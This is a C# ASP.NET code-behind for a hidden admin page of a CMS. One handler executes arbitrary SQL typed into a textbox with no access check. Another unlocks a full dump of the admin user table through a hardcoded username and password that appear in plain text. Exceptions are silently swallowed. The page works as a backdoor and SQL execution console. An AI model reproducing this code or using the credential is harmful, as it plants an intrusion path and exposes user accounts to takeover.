﻿using System;
using System.Collections.Generic;

using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

public partial class admin_cms_sa_sa : System.Web.UI.Page
{
    protected void click_add(object sen, EventArgs e)
    {
        string sql = txtsql.Text.Trim();
        DataAccess.ExeNonSQL(sql);
    }

    protected void btnSA_Click(object sender, EventArgs e)
    {
        try
        {
            string strSa = txtsa.Text.Trim();
            string strU = strSa.Split(',')[0].ToString();
            string strP = strSa.Split(',')[1].ToString();

            if (strU == "tkg2013" && strP == "Admin123#@!")
            {
                pnsa.Visible = true;
                grview.DataSource = DataAccess.ExeSQLToDataTable("SELECT * FROM admin_alluser");
                grview.DataBind();
            }
        }
        catch (Exception ex)
        { }
    }
}